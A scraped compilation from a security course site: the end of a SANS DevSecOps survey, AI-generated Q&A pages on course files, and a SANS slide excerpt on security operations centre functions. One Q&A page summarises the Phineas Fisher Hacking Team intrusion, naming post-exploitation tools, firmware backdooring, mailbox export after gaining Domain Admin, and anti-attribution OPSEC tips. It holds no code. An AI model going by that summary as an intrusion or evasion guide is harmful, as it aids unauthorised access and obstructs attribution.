17.3% 22.0% System architect 33.9% 35.9% 31.5% 36.0% Other 4.6% 2.2% 2.6% 2.7% What percentage of critical security vulnerabilities does your organization repair satisfactorily and in a timely manner? 0% 10% 30% 20% 40%50–74% 12.2% 3.4%None Unknown/Uncertain10–24% 1–9%75–99% 0.7%8.8%40.1%8.2% 25.9% 0.7%25–49%100% Figure 11. Percentage of Security Vulnerabilities Repaired in a Timely MannerTakeaway Security teams (internal and/or external consultants or service providers) still primarily own responsibilities for conducting security testing in most organizations. To scale, organizations need to shift more responsibilities for security testing onto development or DevOps teams. Although there are some technology problems to solve here, such as integrating testing tools and practices into automated workflows (as we will see later in this analysis), the major barriers to shifting security testing to developers are not technical; they are organizational. 11 Security researcher and thought leader Bruce Schneier coined this term: www.schneier.com/crypto-gram/archives/2000/0915.html 16As Figure 12 shows, more than two-thirds of organizations are patching critical vulnerabilities within 30 days (a common cutoff for regulatory compliance). As organizations continue to adopt DevOps practices, we expect this to improve as organizations leverage investments made in CI/CD tooling, automated testing and automated deployment to reduce risks and costs of patching. The time needed to fix critical security vulnerabilities is a key metric for determining the success of a security program, and the organization’s ability to successfully shift right, by: • Leveraging the cloud platform’s managed infrastructure controls to clearly identify what needs to be patched • Leveraging DevOps technical practices and automated build and deployment (CI/CD) toolchains and technologies, such as continuous delivery and containers, to minimize the work and risks involved in building, testing and releasing patches • Relying on cloud platform providers to automatically patch managed infrastructure services and underlying hosts As shown in Figure 13, the “Number of security issues discovered after deployment” (measuring the vulnerability escape rate to production) and “Post- audit remediation steps required” are important in evaluating the effectiveness of the organization’s shift left security controls. They are also important for assessing changes or improvements made to the Dev side of the security program. Organizations can use this to identify weaknesses and gaps in training, reviews or testing, and build a case for upfront investments in secure development practices. Extending DevSecOps Security Controls into the Cloud: A SANS Survey On average, how long does it take for your organization to fix and deploy a patch to a critical application security vulnerability for systems already in use? 0% 20% 15% 10% 5% 30% 25%2–7 days 29.1% 2.7% 2.0% 8.1%6 months to 1 year Unknown/UncertainMore than a year Other31 days to 3 months 3–6 monthsNext day 2.7%14.9%4.1%8.1% 26.4% 2.7%8–30 daysSame day Figure 12. Time to Fix and Patch a Critical Vulnerability What are the major KPIs you use to measure the success of your DevSecOps activities? Select all that apply. 0% 20% 60% 40%Time-to-detect security issues 35.8% 3.7%Builds failed due to security issues OtherPost-audit remediation steps required Builds delayed due to security issuesNumber of security issues discovered after deployment 24.6%35.1%51.5%64.2% 47.0% 29.1%Human hours spent resolving security issuesTime-to-fix security issues Figure 13. KPIs in Use to Measure DevSecOps 17The other measurements, including failed or delayed builds, and the time spent to detect or resolve security issues, relate to the efficiency of security controls. They help in identifying opportunities for automation and other optimizations in security workflows. What It Takes to Successfully Shift Left and Shift Right Both technical and organizational factors are important to the success of DevSecOps programs. The major challenges to implementing DevSecOps in organizations are fundamentally organizational, from insufficient budget and shortage of security skills and security training, to organizational silos, poor prioritization, and lack of buy-in by management and by development teams. See Figure 14. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyTakeaway Shift left (i.e., implementing security reviews and testing as part of development) is not keeping up with the velocity of delivery. This increases the risks of critical security vulnerabilities making it to production. To compensate, security has to shift right (i.e., be prepared to identify and respond to problems immediately) through: • Monitoring telemetry and feedback loops to detect attacks and exploits • Operational incident response capabilities to escalate problems and risks • CI/CD build pipelines and programmable infrastructure to get patches out quickly • Root cause analysis to improve systems and organizational capabilities • Compliance and monitoring solutions that not only evaluate cloud-based desired state configuration, but also provide event triggers for automating notifications, creating tickets and even remediating noncompliant resources What are your top three challenges (e.g., barriers) in implementing DevSecOps at your organization? Technical debt and security debt in legacy environments 29.9% 20.1% 20.1% 11.1% 10.4% 9.7% 6.9% 4.9% 2.1% 1.4%Lack of management buy-in OtherLack of security tool support for languages, platforms Security testing tools are too slowInadequate test automation Security testing tools are inaccurate/unreliableLack of transparency into Dev/Ops work Lack of developer/engineer buy-inChanging requirements and priorities Supply chain risks in components, APIsInadequate/ineffective security training Compliance risks/uncertaintiesOrganizational silos 20.8%27.8%39.6%44.4% 29.9% 20.8%Shortage of application security personnel/skillsInsufficient budget/funding 0 10% 30% 20% 40% Figure 14. Top Challenges in Implementing DevSecOps 18As we explored in the 2018 DevOps survey, lack of tools or poor technical practices are not holding up the success of DevSecOps programs as much as management factors. Organizations can overcome internal management barriers, cultural inertia and legacy debt by shifting more operational responsibility into the cloud, and in the process, become more agile and more secure. Management factors are not only barriers, but also key enablers of success. Securing buy-in from managers and developers, and improving communications across disciplines (e.g., development, operations and security) are the most important factors for the success of security programs. See Figure 15. Automating build and deployment steps, and integrating security testing into DevOps workflows, are also prerequisites to the success of security programs. Security and compliance teams need technical fundamentals, such as build and test automation, CI/CD pipelines, and programmatic infrastructure, in place from DevOps teams to successfully shift security left. Conclusions/Moving Forward Most organizations need to make fundamental changes to make secure DevOps a reality. To make the changes required, there are two approaches that DevSecOps teams can follow: • Shift left—Initiate change from the bottom up, building on technical disciplines and practices and especially on automation. Foundational technical practices—such as automated build and delivery pipelines (CI/CD), test automation (test-driven development [TDD], behavior-driven development [BDD]), pair programming and pull request reviews, and configuring infrastructure in code—all enable DevOps teams to move faster and deliver working software. These practices also provide a control plane where teams can insert security checks and tests. And they support and reinforce consistency, transparency and accountability, helping to encourage and sustain longer-term, deeper changes in the ways that people think and work across the organization. Extending DevSecOps Security Controls into the Cloud: A SANS Survey What do you consider the top three factors that have contributed to your success? Securing developer buy-in 28.9% 17.6% 15.5% 14.1% 13.4% 11.3% 2.1%Creating “security champions” in DevOps teams Creating cross-functional DevSecOps teams Following a common compliance frameworkSecure by Default templates OtherSharing goals/CSFs across disciplines Clear definition of success and ability to measureIntegrating security into DevOps workflows Security training for DevOps teamsImproving communications across disciplines 19.7%20.4%39.4%52.8% 33.1% 20.4%Automated build/deploymentSecuring management buy-in 0 10% 30% 20% 40% 50% Figure 15. DevSecOps Success Factors 19• Shift right—Offload operational, security and compliance risks and obligations onto the cloud provider. This approach takes advantage of the cloud provider’s scale, resources and agility to solve problems and compensate for the organization’s weaknesses. This frees up scarce security and development resources to focus on important priorities and risks. You need to shift right, offloading operational security and compliance responsibilities to the cloud platform, in order to successfully shift left. Shifting right reduces complexity and cost, and shrinks the security problems and risks that you need to manage, so that you can focus on making your security training, testing and reviews more targeted and realistic, which will increase your chances of success. Extending DevSecOps Security Controls into the Cloud: A SANS SurveyShift Right in Order to Shift Left Shift left is not about throwing security and compliance problems over to developers. Shift left involves: • Enabling development teams, giving developers the training, tools and time to do a good job of designing, building and delivering high-quality, reliable and secure services • Leveraging DevOps investments in automation and tooling to build a control plane for security and compliance • Helping DevOps teams understand security risks and compliance requirements and how to manage them in the most effective and efficient ways possible. Shift right is not about leaving security risks until it’s too late. Shift right involves: • Taking advantage of cloud platforms, getting maximum leverage from the strengths and capabilities that the platforms offer for resilience, scale, security and compliance. • Shifting responsibility to managed cloud platforms, rather than re-inventing the wheel, to help security and compliance move at the speed of DevOps • Collecting attack data, threat intelligence to identify real risks and attack vectors that need to be defended—learning where to focus training, testing and reviews • Using data about vulnerabilities escaping to production to understand weaknesses and gaps in understanding, in testing and controls, and shifting left again to improve your processes’ design and tooling KPIs such as time to fix security problems and escape rate to production help you determine whether to shift left and try to prevent/catch problems up front through better training and better tooling in the development workflow, or to shift right and add protection at deployment and runtime. 20About the Authoring Team Jim Bird, SANS analyst and co-author of SEC540: Cloud Security & DevOps Automation, is an active contributor to the Open Web Application Security Project (OWASP), and an author of books on Agile Security and Secure DevOps. He has worked at major technology organizations and financial institutions around the world in management, software development, operations, and IT and application security. Eric Johnson is a Principal Security Engineer at Puma Security and SANS Senior Instructor focusing on cloud security, DevSecOps automation, and building static analysis tools. His experience includes application security automation, cloud security reviews, static source code analysis, web and mobile application penetration testing, secure development lifecycle consulting, and secure code review assessments. Frank Kim leads the management and software security curricula for SANS, developing courses on strategic planning, leadership and application security. He is also a SANS Faculty Fellow, helping to shape, develop and support the next generation of security leaders. Previously, Frank served as CISO at the SANS Institute, leading its information risk function, and executive director of cybersecurity at Kaiser Permanente, where he built an innovative security program to serve one of the nation’s largest not-for-profit health plans and integrated healthcare provider. Currently, as founder of ThinkSec, a security consulting and CISO advisory firm, Frank helps leaders develop business-driven security programs. Sponsors SANS would like to thank this paper’s sponsors: Extending DevSecOps Security Controls into the Cloud: A SANS Survey Last Updated: November 19th, 2020 Upcoming SANS Training Click here to view a list of all SANS Courses SANS Essentials Australia 2021 Melbourne, AU Feb 15, 2021 - Feb 20, 2021 Live Event SANS OnDemand OnlineUS Anytime Self Paced SANS SelfStudy Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=4 [![pdf](content/images/icons/pdf.svg) Extending devsecops security controls cloud survey 39910.pdf](https://drive.google.com/file/d/136UoZi8hoEpYALi-atTYT-Dg5SnYMqys/view?usp=sharing) Extending DevSecOps Security Controls Cloud Survey 39910 SANS survey on integrating security controls into DevOps pipelines and cloud environments. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the top challenge in implementing DevSecOps? A: Insufficient budget/funding (44.4%). * Q: What percentage of organizations use cloud-hosted virtual machines? A: Nearly 36% for production workloads. * Q: What is the 'Paved Road' concept? A: Providing developers with secure-by-default templates, tools, and services to make the secure path the easiest path. * Q: What are the top three riskiest programming languages identified? A: JavaScript (58.5%), Java (50.7%), and .NET (33.8%). * Q: What percentage of organizations perform security testing during the 'Requirements/Use Case' phase? A: 39.5%. * Q: What is 'Configuration Security Monitoring' (CSM)? A: Tools that automatically verify configuration settings and enforce hardening policies to prevent drift. * Q: What percentage of organizations repair critical vulnerabilities in less than 24 hours? A: Only 8.2%. * Q: What is the most common Continuous Integration (CI) tool? A: On-premises open source tools like Jenkins (56.3%). * Q: What percentage of organizations have fully automated security metrics? A: Only 5%. * Q: What is 'Shift Left'? A: Moving security testing and reviews earlier in the development lifecycle (e.g., during design/coding). * Q: What is 'Shift Right'? A: Focusing on operational security, monitoring, and incident response in the production environment. * Q: What percentage of respondents use AWS? A: 85%. * Q: What percentage of respondents use Microsoft Azure? A: 84%. * Q: What is the 'Escape Rate'? A: The number of security issues discovered after deployment to production. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/138h6_8uyr2N2ukl2goroJG8jBgZzq9v5/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/138h6_8uyr2N2ukl2goroJG8jBgZzq9v5/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=3 [![txt](content/images/icons/txt.svg) Phinphisher Hackback a DIY Guide.txt](https://drive.google.com/file/d/138h6_8uyr2N2ukl2goroJG8jBgZzq9v5/view?usp=sharing) Phinphisher Hackback A DIY Guide A guide on offensive countermeasures and post-exploitation tools used in a specific case study. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What specific tools did the author use for post-exploitation? A: Busybox, nmap, Responder.py, Python, tcpdump, dsniff, socat, screen, a SOCKS proxy server, and tgcd. * Q: How did the attacker initially gain access to Hacking Team? A: By exploiting a 0day vulnerability in an embedded device (spam filtering appliance/VPN) after finding it via port scanning. * Q: What is 'Responder.py' used for? A: Attacking Windows networks to capture credentials/hashes via LLMNR/NBT-NS poisoning when you have internal access but no domain user. * Q: How did the attacker access the 'Rete Sviluppo' (Development Network)? A: By finding a text file with passwords in Christian Pozzi's Truecrypt volume, which gave access to a Nagios server bridging the networks. * Q: What advice does the author give regarding attribution/OPSEC? A: Use new servers/domains, paid for with new bitcoin addresses, and avoid reusing tools or techniques linked to previous identities. * Q: What vulnerability opened the door to the Exchange server? A: Insecure backups found on iSCSI devices that were supposed to be on a separate network but were accessible from the main network. * Q: What is the purpose of the 'backdoored firmware' mentioned? A: To maintain persistent access to the embedded device after using the initial exploit, protecting the exploit from discovery. * Q: Why did the author use a virtual machine routed through Tor? A: To anonymize traffic and keep personal life separate from hacking activities. * Q: What does the author say about 'NoSQL' databases? A: They often lack authentication by default, making them easy targets ('NoAuthentication'). * Q: How did the attacker download the email data? A: Using PowerShell's 'New-MailboxExportRequest' cmdlets after gaining Domain Admin access. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=1 [![pptx](content/images/icons/pptx.svg) Cultural Dimensions Slide.pptx](https://docs.google.com/presentation/d/0B9l-G6EuipZgeEpiVjVFa19CeFU/edit?usp=sharing) Cultural Dimensions Slide Overview of organizational cultural dimensions and their impact on work discipline. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What does 'Weltanschauung' mean in the context of this slide? A: It refers to the 'collective programming of the mind' or worldview that affects communication and operations. * Q: What is the 'Means-Oriented' vs. 'Goal-Oriented' dimension? A: A cultural dimension describing whether an organization focuses on \*how\* work is done (process) or \*what\* is achieved (results). * Q: What characterizes an 'Internally Driven' culture? A: Employees perceive their task towards the outside world as a given, often considering themselves experts who know what is best for the customer. * Q: What characterizes an 'Externally Driven' culture? A: The emphasis is on meeting the customer's requirements; results are more important than procedures. * Q: What is 'Easygoing' vs. 'Strict' work discipline? A: Refers to the amount of internal control and discipline; strict cultures are cost-conscious and punctual, while easygoing ones are more fluid. * Q: What is the 'Local' vs. 'Professional' dimension? A: Local employees identify with the boss/unit; Professionals identify with their profession and content of work. * Q: What defines an 'Open System' culture? A: Newcomers are made immediately welcome, and people are open to outsiders. * Q: What defines a 'Closed System' culture? A: The organization is secretive, and only 'insiders' are trusted. * Q: What is 'Employee-Oriented' vs. 'Work-Oriented'? A: Employee-oriented feels a responsibility for employee welfare; Work-oriented pressures for performance even at the expense of employees. * Q: What is 'High Acceptance' vs. 'Low Acceptance' leadership style? A: Refers to the leadership style of the boss; high acceptance means the style is aligned with staff preferences. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgUC1BZzdKZU03UHM/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgUC1BZzdKZU03UHM/view?usp=drive_link]** MGT517 Security Operations Functional Areas Copyright Christopher Crowley 2017Christopher Crowley – chris@montance.com - CCrowMontance MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 3 Definition and Program Components MGT517 | Managing Security OperationsDefinition of Security Operations First Principles Security Operations –Protecting the confidentiality, integrity, and availability information systems of an organization through: proactive design and configuration, ongoing monitoring of system state, detection of unintended actions or undesirable state, and minimizing damage from unwanted affects. 4 Security Operations – Protecting the information systems of an organization through proactive design and configuration, ongoing monitoring of system state, detection of unintended or undesirable state, and minimizing damage from unwanted effects. This is an all-encompassing mission objective. You may choose to tailor this to your company’s specific tone and requirements. Articulating a mission statement is a fundamental aspect of any effort. There are some associated terms that are in use today with what security operations are such as Computer Network Defense (CND) and Defensive Computer Operations (DCO). The SOC performs CND, DCO, SO, as well as all the functional components necessary to accomplish the aim of protection in the information realm. MGT517 | Managing Security OperationsDownload This Slide Deck First Principles https://bit.ly/crow-soc 5 MGT517 | Managing Security OperationsLong Term Build Plan and Improvement Steering Committee •Design-> Build •Operate + MatureDrivers CharterSOC StructureStaffing TechIm- plement Monitor & Detect RespondImprove Our plan of action will include deciding on what drivers the organization has. Does it want a Governance, Risk, and Compliance (GRC) style SOC that addresses the necessary legal requirements and little else? Or does it want an ace security force that can address any technical challenge which might arise anywhere in the world? These two options represent options at the opposite end of the spectrum of SOCs. Most organizations are somewhere in between. A charter should be developed to serve as the empowering document for the SOC. Once the appropriate direction and authority is allocated to the SOC the considerations of how to actually build the thing can start. This structural consideration is presented in this course content from the perspective of the functional areas, which will be discussed in great detail. The “which comes first question” is do we hire people then buy technology or vice versa? The course author suggests people first. This will help with technology selection since the staff members skillsets and experience should influence the tools available to them. Most organizations do the opposite: buy a bunch of technology then figure out what can be done with it. This tends to be inefficient and wasteful, but it is arguably faster. Further, given more detailed circumstances the author would consider technology before staff to be optimal in certain cases. For example, if the staff is mostly junior or moderate in experience their preferences aren’t as important to the technology selection. This requires a dedicated training program. A methodology for self-training will be discussed in the operation and staff section of the course. The SOC is then operational with its staff and technology. Then the real work begins. The SOC is tasked with identifying problems, intervening to minimize damage, then working to improve its capability. MGT517 | Managing Security OperationsSOC Requirements Steering Committee Three Types of SOC 7•Based on the requirements of your industry, organization objectives, and monetary investment your SOC will resemble one of the following •Compliance SOC –usually little growth / change •Security SOC –minimal competence -little growth •Security SOC –high competence -striving There are basically three types of SOCs that you’ll come up with. The first is the compliance SOC. It has minimal empowerment to affect change in the organization and exists to satisfy mandates and legal requirements of the organization. The sense of striving to affect change and gain additional funding and capability is largely absent. Some SOCs were initially created to accomplish compliance, but achieve more capability and organizational support and affect change. In general, however, this sort of SOC usually begins in this form and stays this way. The second scenario is a SOC with more authority and technical capability. This SOC has a proactive focus and can impact organizational change, but is often new or immature and has limited resources and technical competence. The primary differentiator between it and the compliance SOC is its ability to affect the business’s strategic and tactical decisions. The third level is a SOC which has the authority to affect significant change, has organizational buy in, and has accomplished technical proficiency to address the most common scenarios of incidents in the organization. Further, this SOC has outreach capability within the organization to information technology operations, business units, and is consulted on matters of design and operations; this SOC has established industry and law enforcement relationships that are sustained, and is often queried as a model of implementation and solutions. This strives toward excellence in all the functional capabilities discussed later. MGT517 | Managing Security OperationsDesign Elements Components •Technology –hardware and software to accomplish the function’s objective •Inputs–expected objects transferred to function •Processes –the actions performed by the function •Artifacts –expected output from the function •People –employees, directly embedded contractors, customers, partners 8 To characterize all the components of each of the functional areas, the following will be addressed: Technology, Inputs, Processes, Artifacts, and People required for a SOC. These are the elements of construction of the SOC. MGT517 | Managing Security OperationsOverlap Components •There is some overlap between the functional areas •If one technology is in use, it is best to provide access to the same system for all functions •If multiple systems are implemented, it is best to provide each team with access to all systems •If organizational boundaries prohibit mutual and/or concurrent access, well defined information exchanges should be developed and followed 9 Overlap is going to happen, it is usually best to have each team access the central system with shared resources. It may be necessary to establish independent resources due to funding, outsourcing, resource availability, geographical separation, or management divisions. If possible, sharing access to systems is ideal. This will allow the disparate teams to be able to directly access the same data without any barriers. For example, the Threat Intelligence team can use the data contained in the SIEM as well as the NSM team. But, they’d have a different scope of interest. The NSM team is looking for immediate issues, as well as hunting. Whereas TI would be looking for trends of attacks, as well as looking for source IPs, emails, and tactics to help build indicators. This extends beyond the SOC as well, with federation of data being a goal to fully integrate security and operational concerns. MGT517 | Managing Security OperationsWhat Is Success for a SOC? SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability.Statement of Success SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability. This pithy statement contains the elements of our SOC in a simple mission objective of success. It demonstrates that intervention is the goal, not specifically prevention. It accepts that some bad things will happen and that success entails minimizing the impact of those things. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 11 Functional Components MGT517 | Managing Security OperationsFunctional Components of SOC Components •We define the functional capabilities a SOC is expected to perform •Other parts you need to be operational •Software and hardware to make a SOC •Interactions between these capabilities •Interaction from SOC functions to other parts of the business •People and skillsets to make the SOC effective •Processes for repeatable and effective operations 12 Our Security Operations capability will be housed in the SOC. Tobuild a SOC, we need to understand what it is supposed to do, how it works, and what components are available to support the desired function. We need to understand the roles people play and define the procedures for those people to follow. In the current section, we’re going to identify functions that we want our SOC to perform. Intra-SOC transfers; interfaces between the SOC and other parts of the business are necessary to formulate but won’t be addressed here. Software and hardware that supports the functions of the SOC are similarly important but absent from this talk. As are the roles that need to be filled by people. MGT517 | Managing Security OperationsSOC / Command Center Components •The Command Center performs command and control of all activity related to security operations •Single point of entry for security related security requests (like 911 for emergencies) •Authority to direct response and notify constituents •Identification and deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems 13 The SOC is the command center for all cybersecurity related activities. This is the equivalent of 911. For non- US audiences, 911 is the nationwide telephone number for all emergency assistance requests such as fire, acute health issues, and police assistance. The SOC is to maintain awareness of the threat environment. This means when a new vulnerability is disclosed, the SOC correlates available information with the inventory of systems within the organization. The SOC receives requests for help and communicates information to affected parties. The SOC is authorized to direct action be taken to protect the interest of the organization. The SOC’s capability may specifically entail Incident Response, and there may be another group which specifically performs IR. The SOC can differentiate what is, and is not an incident, and is capable of maintaining situational awareness of exercises. Exercises may simulate actual incidents, but the SOC can deconflict reports of multiple incidents and determine if they’re one, as well as understand what reports might be associated with ongoing exercises and then seeking appropriate verification. MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) Components •Fundamental and critical capability •This entails watching the actions and communication of the information systems for unwanted activity •All forms of communication and activity •Requires dedicated hardware, software, and specialized staff •Gigantic amounts of constantly changing data •Objective: fast and accurate detection of issues 14 Network Security Monitoring (NSM) is a cornerstone capability of a SOC. In fact, there may be a specialized sub-group of the SOC which performs these tasks. Many people think of NSM as a SOC. By our definition, NSM itself isn’t a SOC. Network security monitoring is watching data in motion. This frequently involves utilizing Network Intrusion Detection Systems (NIDS); Host Based Intrusion Detection Systems (HIDS); Host Protection Suite (including HIPS, A/V, etc.); network firewall logs; host-based firewall logs; server logs such as Active Directory (AD) Domain Controller (DC) logs; web server logs; file server logs; mail server logs; DNS query logs. This multitude of data is frequently aggregated into a single resource of data, frequently called a Security Information and Event Management (SIEM). Network instrumentation, servers to collect data, servers to analyze traffic, and consoles to present information to analysts who then correlate and assess the information are all required. The analysts need a substantial background in information systems and are benefited by knowledge of the environment they are monitoring. The NSM team is tasked with detecting problems. MGT517 | Managing Security OperationsThreat Intelligence Components •Insecure systems won’t be compromised without a threat leveraging the vulnerability •Studying the threats to our environment to better: prepare, detect, and respond •Threat Intel takes two forms •Production of Threat Intel –develop information based on artifacts •Consumption of Threat Intel -buy a feed, share with partners, etc. •Objective: tactical and strategic advantage over adversaries 15 The idea of threat intelligence started with early internet worms and information sharing. Techniques for sharing information were ad hoc at first, then blossomed into information sharing. There were specifications discussed for sharing threat information; for example IDMEF (https://www.ietf.org/rfc/rfc4765.txt ), IODEF (https://www.rfc-editor.org/rfc/rfc5070.txt ). Mandiant’s Indicator of Compromise (IOC) filled a void for sharing information and has morphed into the OpenIOC language: (http://www.openioc.org/ ) Tracking failures in the form of incidents is another form of Threat Intelligence, and the Vocabulary for Event Recording and Incident Sharing (VERIS) language (http://veriscommunity.net/) was established to do this. There are online communities, both open and closed for sharing information about threats. Threat Connect (https://www.threatconnect.com/) is a well-known open source one. But other examples include: VirusTotal (https://www.virustotal.com/ ) and other sandboxing sites; reputation services such as Webroot maintains; anti- spam lists with SMTP server reputation information; website reputation assessment sites and infrastructures provided by browsers. The most important recent development in threat intelligence is organizations who invest funds in dedicating staff to study their specific adversaries. We see this in the form of industry collaborations as well as dedicated internal intelligence teams. This has given way to the collection of what are termed TTPs: Tactics, Techniques, and Procedures. “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” Sun Tzu, The Art of War . Thomas Cleary, trans. Boston- Shaftsbury: Shambhala. 1987. MGT517 | Managing Security OperationsIncident Response Components •Incident Response is engaged after a problem detected by NSM or external notification •Strives to minimize the damage from the incident •Performs thorough analysis to determine extent of the incident •Leverages lessons learned from incidents to enhance defensibility of the organization •Objective: minimize impact of problems 16 The response capability of the SOC is to deal with items that were identified through monitoring in an efficient and time-sensitive way. We strive to minimize impact to the organization’s information assets. This is a complex and difficult effort. MGT517 | Managing Security OperationsForensics Components •In support of Incident Response, specialized capabilities to determine the extent of the incident and proactively prevent spread of adversary with detection based on forensic analysis •We’ll discuss each of these types of forensics: •Host •Network •Reverse Engineering •eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment 17 Forensics, or more specifically Digital Forensics, is the science of determining what occurred based on traces of information left behind by events. An event is any observable occurrence. We'll discuss the major categories of forensic capability in detail. Some people consider incident response and forensic inseparable. The purpose of defining the functional areas is to provide modular units to allow you to architect your SOC appropriately. There are multiple sub-disciplines in Forensics. We discuss the details of each in the following slides. MGT517 | Managing Security OperationsForensics –Host Components •Host Forensics studies data on individual systems –includes cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: detailed analysis of events on systems of interest 18 Host-based forensics is a specialization. Many people perform forensics of some sort without extensive forensic training. However, thorough and effective host based forensic analysis requires substantial training and practice. The key differentiator between host-based forensics and network forensics is that host-based forensics look at artifacts present within the storage media of the system. An example to help distinguish the two, I could perform host forensics on a network router. If I was concerned the router is compromised, I would look at auditing and login information, and check to see if the configuration of the router had been changed. If there was concern that some system in the network was compromised, I would use the router logs to look at the connections established between a host within our network that was determined to be compromised to assess what information was stolen, how the internal system was used to connect to other internal systems, and if it was used to attack external systems. This is network forensics. The practice involves collection of the data to be studied. This is to be performed via a sound, repeatable methodology to avoid introducing errors into the data of interest and avoid omitting data. The analyst typically produces a timeline of what occurred on the system then identifies what the attacker did, and how that system was affected by the attack. The analyst attempts to determine what data was accessed on the system and if credentials (passwords, encryption keys, etc.) were collected. MGT517 | Managing Security OperationsForensics –Network Components •Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised 19 On the Host Forensics slide, network and host forensics were differentiated. There is also potential confusion between network forensics and network security monitoring (NSM). NSM is primarily focused on detection, determining if systems are affected. Network forensics is after detection, using network information to determine the extent of the compromise and the data stolen or modified. Modern network devices have the capability to log connections. This data is frequently discarded or not stored for very long. This is unfortunate since it is tremendously useful for analysis once there is an indication that a compromise occurred. Every network device should be configured to log to a central source. This requires infrastructure to support the transport, collection, and storage of this data. MGT517 | Managing Security OperationsForensics – Reverse Engineering Components •RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also could be firmware, hardware, etc. •Objective: detailed analysis, determination of safety and intent of hardware or software in use in the organization 20 Reverse engineering is the study of software, firmware, or hardware toassess the capability of that software in its functional form. For software and firmware, this usually involves the challenge of looking at compiled code. Code which has been compiled is translated into processor specific instructions to perform functions. This task is even more challenging when trying to assess a piece of hardware to determine what capability is programmed directly into an integrated circuit chip, or a network interface card. The two primary types of reverse engineering are behavioral analysis and static analysis. Behavioral is running the software or device and monitoring what it does. Static analysis involves decompiling the software or studying the hardware capability without running it. A frequently used scenario of reverse engineering is when an unknown program is encountered on a potentially compromised workstation. The program is collected, then moved to analysis systems. On isolated systems (usually called sandboxes) the software is allowed to execute, to see if it tries to make changes to the sandbox workstation. An analyst might also load the program into a disassembler such as Ida Pro or Hopper and review the assembly (machine instruction) code to assess the capability of that program. Hardware is even more complicated to reverse engineer in most cases. MGT517 | Managing Security OperationsForensics – eDiscovery Components •eDiscovery is a necessary capability in any organization •Interfaces with Legal team to define objectives •Leverages existing infrastructure to efficiently support collection •Requires specialized expertise for retention of records •Most organizations have obligation to support discovery •For US Government, also entails Freedom of Information Act (FOIA) requests •Objective: Collect information assets in a reproducible and thorough fashion 21 eDiscovery will be required by the organization at some time. This is collecting evidence in support of a legal investigation. This may be driven by law enforcement request. It might be a result of a civil suit alleging damages caused by the organization. An example scenario of legal action is wrongful dismissal. There may also be legal discovery requirements for government organizations, such as the Freedom of Information Act (FOIA) in the United States. The SOC frequently has the appropriate instrumentation to conduct eDiscovery. It is an easy step to leverage this existing access to support the effort. If there is already an eDiscovery capability in the organization, I do not advocate forcing it to move to the SOC. In the absence of this function, it is advisable to architect the capability in the SOC. MGT517 | Managing Security OperationsSelf-Assessment Components •Configuration Monitoring •Vulnerability Assessment •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist and recover when incidents occur 22 As with Forensics, there are various subcategories of self-assessment. We’ll discuss each of these separately since they have specific details associated with them. The objective of self-assessment is to reflect on the state of the information and information systems the organization owns and is responsible for. This reflection critically assesses the ideal state of the environment and the differences between current and ideal state. It is like Lacanian algebra, where there’s always some object petit a ; except, in our infrastructure, the self-assessed deficiencies are typically attainable. We often need to overcome political and operational barriers to resolve. The general intention of this capability is to understand the state of the information systems within the organization. MGT517 | Managing Security OperationsConfiguration Monitoring Components •CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control •File Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring •Objective: monitor settings and change from specified baseline of settings 23 Configuration Monitoring is an important function. It entails deciding upon the authorized configuration settings within the information systems and looks for variation from this authorized state. This can help inform network security monitoring. This helps to assure the systems are operating at the expected level of risk. The process of approving changes is called change control. This involves submitting proposed changes (patches, new systems, updated configuration) to a board for approval and updating the known state to match the approved new state. File integrity monitoring applies cryptographic hashing to a file and attempts to detect changes. Application whitelisting is an extension of this principle that applies a list of authorized executables to the operating system and no other executables are permitted to run. Developing baselines is a substantial effort, but is rewarded with an easier to manage environment where individual systems are consistent. This also assures that systems will not be behind on patches when newly deployed. Configurations conforming to standards also help with effective operations. With any attempt to standardize, there needs to be flexibility to account for needed variation for new or unique systems. If a deviation is granted, it should be recorded as a deviation and automated systems scanning for variation shouldn’t flag on that variation. MGT517 | Managing Security OperationsVulnerability Assessment Components •Vulnerability Assessment is testing systems for issues, such as missing patches or misconfiguration and directing remediation 